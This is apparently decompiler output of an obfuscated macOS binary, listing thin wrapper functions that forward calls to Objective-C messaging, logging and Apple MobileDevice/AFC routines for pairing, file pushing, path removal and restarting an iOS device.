id __fastcall HikariFunctionWrapper_18186(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002214E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18187(void *a1, const char *a2)
{
return HikariFunctionWrapper_18186(a1, a2);
}
//----- (00000001002214F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18188(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221500) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18189(void *a1, const char *a2)
{
return HikariFunctionWrapper_18188(a1, a2);
}
//----- (0000000100221510) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18190(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221520) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18191(void *a1, const char *a2)
{
return HikariFunctionWrapper_18190(a1, a2);
}
//----- (0000000100221530) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18192(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221540) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18193(void *a1, const char *a2)
{
return HikariFunctionWrapper_18192(a1, a2);
}
//----- (0000000100221550) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18194(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (0000000100221560) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18195(objc_class *a1)
{
return HikariFunctionWrapper_18194(a1);
}
//----- (0000000100221570) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18196(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221580) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18197(void *a1, const char *a2)
{
return HikariFunctionWrapper_18196(a1, a2);
}
//----- (0000000100221590) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18198(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002215B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18199(void *a1, const char *a2)
{
return HikariFunctionWrapper_18198(a1, a2);
}
//----- (00000001002215D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18200(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002215E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18201(void *a1, const char *a2)
{
return HikariFunctionWrapper_18200(a1, a2);
}
//----- (00000001002215F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18202(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221600) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18203(void *a1, const char *a2)
{
return HikariFunctionWrapper_18202(a1, a2);
}
//----- (0000000100221610) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18204(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221620) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18205(void *a1, const char *a2)
{
return HikariFunctionWrapper_18204(a1, a2);
}
//----- (0000000100221630) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18206(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221640) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18207(void *a1, const char *a2)
{
return HikariFunctionWrapper_18206(a1, a2);
}
//----- (0000000100221650) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18208(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100221660) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18209(NSString *a1)
{
HikariFunctionWrapper_18208(a1);
}
//----- (0000000100221670) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18210(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100221680) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18211(NSString *a1)
{
HikariFunctionWrapper_18210(a1);
}
//----- (0000000100221690) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18212(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002216A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18213(void *a1, const char *a2)
{
return HikariFunctionWrapper_18212(a1, a2);
}
//----- (00000001002216B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18214(void *a1)
{
showErrMessage(a1);
}
//----- (00000001002216C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18215(void *a1)
{
HikariFunctionWrapper_18214(a1);
}
//----- (00000001002216D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18216(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002216E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18217(void *a1, const char *a2)
{
return HikariFunctionWrapper_18216(a1, a2);
}
//----- (00000001002216F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18218(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221700) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18219(void *a1, const char *a2)
{
return HikariFunctionWrapper_18218(a1, a2);
}
//----- (0000000100221710) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18220(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221720) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18221(void *a1, const char *a2)
{
return HikariFunctionWrapper_18220(a1, a2);
}
//----- (0000000100221730) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18222(void *a1)
{
showErrMessage(a1);
}
//----- (0000000100221740) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18223(void *a1)
{
HikariFunctionWrapper_18222(a1);
}
//----- (0000000100221750) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18224(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100221760) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18225(void *a1, const char *a2)
{
HikariFunctionWrapper_18224(a1, a2);
}
//----- (0000000100221770) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18226(__int64 a1)
{
return AMDeviceCreateCopy(a1);
}
// 100256162: using guessed type __int64 __fastcall AMDeviceCreateCopy(_QWORD);
//----- (0000000100221780) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18227(__int64 a1)
{
return HikariFunctionWrapper_18226(a1);
}
//----- (0000000100221790) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18228(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002217A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18229(void *a1, const char *a2)
{
HikariFunctionWrapper_18228(a1, a2);
}
//----- (00000001002217B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18230(void *a1)
{
showErrMessage(a1);
}
//----- (00000001002217C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18231(void *a1)
{
HikariFunctionWrapper_18230(a1);
}
//----- (00000001002217D0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18232(__int64 a1, __int64 a2)
{
return AFCRemovePath(a1, a2);
}
// 100256138: using guessed type __int64 __fastcall AFCRemovePath(_QWORD, _QWORD);
//----- (00000001002217E0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18233(__int64 a1, __int64 a2)
{
return HikariFunctionWrapper_18232(a1, a2);
}
//----- (00000001002217F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18234(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221800) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18235(void *a1, const char *a2)
{
return HikariFunctionWrapper_18234(a1, a2);
}
//----- (0000000100221810) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18236(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221820) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18237(void *a1, const char *a2)
{
return HikariFunctionWrapper_18236(a1, a2);
}
//----- (0000000100221830) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18238(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221840) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18239(void *a1, const char *a2)
{
return HikariFunctionWrapper_18238(a1, a2);
}
//----- (0000000100221850) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18240(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100221860) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18241(void *a1, const char *a2)
{
HikariFunctionWrapper_18240(a1, a2);
}
//----- (0000000100221870) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18242(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100221880) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18243(NSString *a1)
{
HikariFunctionWrapper_18242(a1);
}
//----- (0000000100221890) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18244(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002218A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18245(NSString *a1)
{
HikariFunctionWrapper_18244(a1);
}
//----- (00000001002218B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18246(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002218C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18247(void *a1, const char *a2)
{
HikariFunctionWrapper_18246(a1, a2);
}
//----- (00000001002218D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18248(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002218E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18249(void *a1, const char *a2)
{
HikariFunctionWrapper_18248(a1, a2);
}
//----- (00000001002218F0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18250(__int64 a1)
{
return AMDevicePair(a1);
}
// 100256180: using guessed type __int64 __fastcall AMDevicePair(_QWORD);
//----- (0000000100221900) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18251(__int64 a1)
{
return HikariFunctionWrapper_18250(a1);
}
//----- (0000000100221910) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18252(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100221920) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18253(void *a1, const char *a2)
{
HikariFunctionWrapper_18252(a1, a2);
}
//----- (0000000100221930) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18254(__int64 a1)
{
return OpenAFCConnection(a1);
}
//----- (0000000100221940) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18255(__int64 a1)
{
return HikariFunctionWrapper_18254(a1);
}
//----- (0000000100221950) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18256(__int64 a1)
{
return isError(a1);
}
// 10001587D: using guessed type __int64 __fastcall isError(_QWORD);
//----- (0000000100221960) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18257(__int64 a1)
{
return HikariFunctionWrapper_18256(a1);
}
//----- (0000000100221970) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18258(__int64 a1)
{
SendEnableWifiConnections(a1);
}
//----- (0000000100221980) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18259(__int64 a1)
{
HikariFunctionWrapper_18258(a1);
}
//----- (0000000100221990) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18260(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002219A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18261(NSString *a1)
{
HikariFunctionWrapper_18260(a1);
}
//----- (00000001002219B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18262(__int64 a1)
{
AFCClearDownloads(a1);
}
//----- (00000001002219C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18263(__int64 a1)
{
HikariFunctionWrapper_18262(a1);
}
//----- (00000001002219D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18264(__int64 a1)
{
RestartDevice(a1);
}
//----- (00000001002219E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18265(__int64 a1)
{
HikariFunctionWrapper_18264(a1);
}
//----- (00000001002219F0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18266(__int64 a1, __int64 a2)
{
return AFCRemovePath(a1, a2);
}
// 100256138: using guessed type __int64 __fastcall AFCRemovePath(_QWORD, _QWORD);
//----- (0000000100221A00) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18267(__int64 a1, __int64 a2)
{
return HikariFunctionWrapper_18266(a1, a2);
}
//----- (0000000100221A10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18268(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221A20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18269(void *a1, const char *a2)
{
return HikariFunctionWrapper_18268(a1, a2);
}
//----- (0000000100221A30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18270(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100221A40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18271(NSString *a1)
{
HikariFunctionWrapper_18270(a1);
}
//----- (0000000100221A50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18272(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221A60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18273(void *a1, const char *a2)
{
return HikariFunctionWrapper_18272(a1, a2);
}
//----- (0000000100221A70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18274(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221A80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18275(void *a1, const char *a2)
{
return HikariFunctionWrapper_18274(a1, a2);
}
//----- (0000000100221A90) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18276(__int64 a1, __int64 a2)
{
return AFCRemovePath(a1, a2);
}
// 100256138: using guessed type __int64 __fastcall AFCRemovePath(_QWORD, _QWORD);
//----- (0000000100221AA0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18277(__int64 a1, __int64 a2)
{
return HikariFunctionWrapper_18276(a1, a2);
}
//----- (0000000100221AB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18278(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221AC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18279(void *a1, const char *a2)
{
return HikariFunctionWrapper_18278(a1, a2);
}
//----- (0000000100221AD0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18280(__int64 a1, __int64 a2)
{
return AFCRemovePath(a1, a2);
}
// 100256138: using guessed type __int64 __fastcall AFCRemovePath(_QWORD, _QWORD);
//----- (0000000100221AE0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18281(__int64 a1, __int64 a2)
{
return HikariFunctionWrapper_18280(a1, a2);
}
//----- (0000000100221AF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18282(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221B00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18283(void *a1, const char *a2)
{
return HikariFunctionWrapper_18282(a1, a2);
}
//----- (0000000100221B10) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18284(__int64 a1, __int64 a2)
{
return AFCRemovePath(a1, a2);
}
// 100256138: using guessed type __int64 __fastcall AFCRemovePath(_QWORD, _QWORD);
//----- (0000000100221B20) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18285(__int64 a1, __int64 a2)
{
return HikariFunctionWrapper_18284(a1, a2);
}
//----- (0000000100221B30) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18286(__int64 a1)
{
return AFCConnectionClose(a1);
}
// 1002560F0: using guessed type __int64 __fastcall AFCConnectionClose(_QWORD);
//----- (0000000100221B40) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18287(__int64 a1)
{
return HikariFunctionWrapper_18286(a1);
}
//----- (0000000100221B50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18288(__int64 a1)
{
RestartDevice(a1);
}
//----- (0000000100221B60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18289(__int64 a1)
{
HikariFunctionWrapper_18288(a1);
}
//----- (0000000100221B70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18290(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100221B80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18291(NSString *a1)
{
HikariFunctionWrapper_18290(a1);
}
//----- (0000000100221B90) ----------------------------------------------------
uint32_t __fastcall HikariFunctionWrapper_18292(uint32_t a1)
{
return arc4random_uniform(a1);
}
//----- (0000000100221BA0) ----------------------------------------------------
uint32_t __fastcall HikariFunctionWrapper_18293(uint32_t a1)
{
return HikariFunctionWrapper_18292(a1);
}
//----- (0000000100221BB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18294(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221BC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18295(void *a1, const char *a2)
{
return HikariFunctionWrapper_18294(a1, a2);
}
//----- (0000000100221BD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18296(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100221BE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18297(NSString *a1)
{
HikariFunctionWrapper_18296(a1);
}
//----- (0000000100221BF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18298(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100221C00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18299(void *a1, const char *a2)
{
HikariFunctionWrapper_18298(a1, a2);
}
//----- (0000000100221C10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18300(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100221C20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18301(void *a1, const char *a2)
{
HikariFunctionWrapper_18300(a1, a2);
}
//----- (0000000100221C30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18302(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100221C40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18303(void *a1, const char *a2)
{
HikariFunctionWrapper_18302(a1, a2);
}
//----- (0000000100221C50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18304(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100221C60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18305(void *a1, const char *a2)
{
HikariFunctionWrapper_18304(a1, a2);
}
//----- (0000000100221C70) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_18306(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return AFCPushMemory(a1, a2, a3, a4);
}
//----- (0000000100221C80) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_18307(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return HikariFunctionWrapper_18306(a1, a2, a3, a4);
}
//----- (0000000100221C90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18308(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100221CA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18309(NSString *a1)
{
HikariFunctionWrapper_18308(a1);
}
//----- (0000000100221CB0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18310(__int64 a1)
{
return AFCConnectionClose(a1);
}
// 1002560F0: using guessed type __int64 __fastcall AFCConnectionClose(_QWORD);
//----- (0000000100221CC0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18311(__int64 a1)
{
return HikariFunctionWrapper_18310(a1);
}
//----- (0000000100221CD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18312(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221CE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18313(void *a1, const char *a2)
{
return HikariFunctionWrapper_18312(a1, a2);
}
//----- (0000000100221CF0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18314(__int64 a1)
{
return AMDevicePair(a1);
}
// 100256180: using guessed type __int64 __fastcall AMDevicePair(_QWORD);
//----- (0000000100221D00) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18315(__int64 a1)
{
return HikariFunctionWrapper_18314(a1);
}
//----- (0000000100221D10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18316(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100221D20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18317(NSString *a1)
{
HikariFunctionWrapper_18316(a1);
}
//----- (0000000100221D30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18318(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100221D40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18319(void *a1, const char *a2)
{
HikariFunctionWrapper_18318(a1, a2);
}
//----- (0000000100221D50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18320(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100221D60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18321(void *a1, const char *a2)
{
HikariFunctionWrapper_18320(a1, a2);
}
//----- (0000000100221D70) ----------------------------------------------------
unsigned int __fastcall HikariFunctionWrapper_18322(unsigned int a1)
{
return sleep(a1);
}
//----- (0000000100221D80) ----------------------------------------------------
unsigned int __fastcall HikariFunctionWrapper_18323(unsigned int a1)
{
return HikariFunctionWrapper_18322(a1);
}
//----- (0000000100221D90) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18324(__int64 a1)
{
return AMDeviceIsPaired(a1);
}
// 100256174: using guessed type __int64 __fastcall AMDeviceIsPaired(_QWORD);
//----- (0000000100221DA0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18325(__int64 a1)
{
return HikariFunctionWrapper_18324(a1);
}
//----- (0000000100221DB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18326(void *a1)
{
showOkMessage(a1);
}
//----- (0000000100221DC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18327(void *a1)
{
HikariFunctionWrapper_18326(a1);
}
//----- (0000000100221DD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18328(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100221DE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18329(NSString *a1)
{
HikariFunctionWrapper_18328(a1);
}
//----- (0000000100221DF0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18330(__int64 a1)
{
return AMDeviceCopyValue(a1);
}
// 10025615C: using guessed type __int64 __fastcall AMDeviceCopyValue(_QWORD);
//----- (0000000100221E00) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18331(__int64 a1)
{
return HikariFunctionWrapper_18330(a1);
}
//----- (0000000100221E10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18332(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221E20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18333(void *a1, const char *a2)
{
return HikariFunctionWrapper_18332(a1, a2);
}
//----- (0000000100221E30) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18334(__int64 a1)
{
return OpenAFCConnection(a1);
}
//----- (0000000100221E40) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18335(__int64 a1)
{
return HikariFunctionWrapper_18334(a1);
}
//----- (0000000100221E50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18336(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100221E60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18337(void *a1, const char *a2)
{
HikariFunctionWrapper_18336(a1, a2);
}
//----- (0000000100221E70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18338(void *a1)
{
showOkMessageBasic(a1);
}
//----- (0000000100221E80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18339(void *a1)
{
HikariFunctionWrapper_18338(a1);
}
//----- (0000000100221E90) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18340(__int64 a1)
{
return OpenAFCConnection(a1);
}
//----- (0000000100221EA0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18341(__int64 a1)
{
return HikariFunctionWrapper_18340(a1);
}
//----- (0000000100221EB0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18342(__int64 a1)
{
return isError(a1);
}
// 10001587D: using guessed type __int64 __fastcall isError(_QWORD);
//----- (0000000100221EC0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18343(__int64 a1)
{
return HikariFunctionWrapper_18342(a1);
}
//----- (0000000100221ED0) ----------------------------------------------------
